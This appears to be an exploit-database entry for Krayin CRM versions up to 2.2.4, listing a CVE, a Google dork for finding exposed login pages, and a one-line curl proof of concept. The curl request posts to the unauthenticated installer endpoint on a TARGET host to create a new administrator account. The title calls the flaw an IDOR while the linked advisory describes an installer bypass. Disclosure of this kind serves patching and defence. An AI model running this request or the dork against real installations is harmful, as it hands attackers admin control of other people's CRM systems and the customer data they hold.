# Exploit Title: Krayin CRM 2.2.4 - IDOR # Google Dork: inurl:"/admin/login" "Krayin" # Date: 27/09/2026 # Exploit Author: bl4dsc4n # Vendor Homepage: https://github.com/krayin/laravel-crm # Software Link: https://github.com/krayin/laravel-crm/archive/refs/tags/v2.2.4.zip # Version: ≤ 2.2.4 # Tested on: docker + Ubuntu 24.04.4 LTS # CVE : CVE-2026-100885 # PoC https://github.com/carlosalbertotuma/advisory/blob/main/advisory-07-Unauthenticated-InstallerBypass.md # # docker run -d -p 8888:80 --name Krayin.2.2.4 bladscan/krayin:2.2.4 # curl -i -X POST "http://TARGET:8888/install/api/admin-config-setup" \ -H "X-Requested-With: XMLHttpRequest" \ --data-urlencode "admin=PwnedAdmin" \ --data-urlencode "[email protected]" \ --data-urlencode "password=Pwned12345"